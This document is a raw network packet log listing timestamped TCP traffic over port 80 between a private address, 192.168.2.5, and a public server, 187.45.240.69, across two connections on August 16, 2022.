Aug 16, 2022 11:45:09.399013996 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399023056 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399032116 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399049044 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399055958 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399084091 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399089098 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399112940 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399122953 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399137020 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399147034 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399161100 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399173975 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399185896 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399198055 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399209976 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399219036 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399235964 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399245977 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399259090 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399270058 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399282932 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399293900 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399306059 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399322033 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399328947 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399339914 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399369001 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399369955 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399394035 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399415016 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399416924 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399437904 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399441004 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399461031 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399465084 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399487972 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399494886 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399511099 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399512053 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399533033 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399534941 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399557114 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399557114 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399580002 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399580956 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399602890 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399602890 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399625063 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399626970 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399650097 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399651051 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399672985 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399682045 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399694920 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399701118 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.399719954 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.399741888 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.412571907 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.440892935 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.440938950 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.440962076 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.440985918 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.441008091 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.441030025 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.441030979 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.441055059 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.441060066 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.441078901 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.441087961 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.441102028 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.441118002 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.441170931 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.441178083 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.441215992 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.447207928 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.642225981 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.642282963 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.642311096 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.642324924 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.642337084 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.642369986 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.642386913 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.642427921 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.642446995 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.642489910 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.642510891 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.642555952 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.642570019 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.642611027 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.642631054 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.642673016 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.642687082 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.642725945 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.642745018 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.642786026 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.642807007 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.642849922 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.642854929 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.642896891 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.678589106 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.678626060 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.678648949 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.678672075 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.678724051 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.678747892 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.678785086 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.678792000 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.678797960 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.783114910 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.816627979 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.013295889 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.013353109 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.013406992 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.013453007 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.015918970 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.120975018 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.246228933 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.246337891 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.246387005 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.246407986 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.246426105 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.246444941 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.246494055 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.246499062 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.246511936 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.246531010 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.246547937 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.246566057 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.246582031 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.246599913 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.246618032 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.246623993 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.246628046 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.246634960 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.246654034 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.246673107 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.246685982 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.246695042 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.246699095 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.247147083 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.263531923 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.352726936 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.352761984 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.352884054 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.368767023 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.493067980 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.493098021 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.493117094 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.493204117 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.493225098 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.500351906 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.600111008 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.600152969 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.600301027 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.631761074 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.731091976 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.731128931 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.731251955 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.735605001 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.863091946 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.863133907 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.863169909 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.863205910 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.863231897 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.863266945 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.863274097 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.863300085 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.863328934 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.863334894 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.863372087 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.863389969 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.863425016 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.863429070 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.863450050 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.863456011 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.863527060 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.964957952 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.965033054 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.965090036 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.965111017 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.965141058 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.965145111 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.965202093 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.965260983 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.965262890 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.965266943 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.965312958 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.965321064 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:10.965370893 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:10.977639914 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.094675064 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.094736099 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.094757080 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.095005989 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.095123053 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.095129013 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.095174074 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.095248938 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.096554041 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.207304001 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.207343102 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.207407951 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.207429886 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.207473040 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.207499027 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.207536936 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.207596064 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.207622051 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.207643986 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.207650900 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.207664967 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.207680941 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.207686901 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.207700968 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.207710028 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.207731962 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.207734108 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.207753897 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.207760096 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.207775116 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.207784891 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.207797050 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.207802057 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.207818031 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.207818985 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.207838058 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.207843065 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.207859993 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.207876921 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.207882881 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.207906008 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.207916975 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.207952023 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.207978010 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.207978010 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.207999945 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.208019972 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.208023071 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.208043098 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.208051920 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.208065033 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.208082914 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.208086014 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.208103895 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.208106041 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.208128929 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.208137989 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.208151102 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.208158970 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.208173037 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.208177090 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.208199978 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.208201885 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.208218098 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.208221912 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.208245993 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.208256006 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.208270073 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.208276987 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.208292007 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.208293915 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.208313942 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.208321095 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.208343029 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.208357096 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.208364964 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.208379984 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.208400965 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.208422899 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.208492041 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.230242968 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.328099012 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.328124046 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.328139067 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.328211069 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.328253031 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.332623005 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.459774017 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.459830046 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.459863901 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.459918976 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.459950924 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.472434044 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.564152002 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.564217091 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.564266920 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.564311981 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.564347982 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.564373016 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.564378977 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.564425945 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.564428091 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.564477921 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.564481020 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.564529896 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.564532995 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.564569950 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.564583063 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.564713001 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.595449924 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.702080965 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702117920 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702142954 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702167034 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702189922 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702213049 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702227116 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.702239990 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702269077 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702295065 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702305079 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.702322006 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702342987 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.702347040 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702374935 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702379942 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.702400923 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702414989 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.702425957 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702449083 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702452898 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.702476978 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702490091 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.702502966 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702528000 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702531099 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.702553034 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702569008 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:11.702579021 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702605009 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702627897 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:11.702629089 CEST	49837	80	192.168.2.5	187.45.240.69
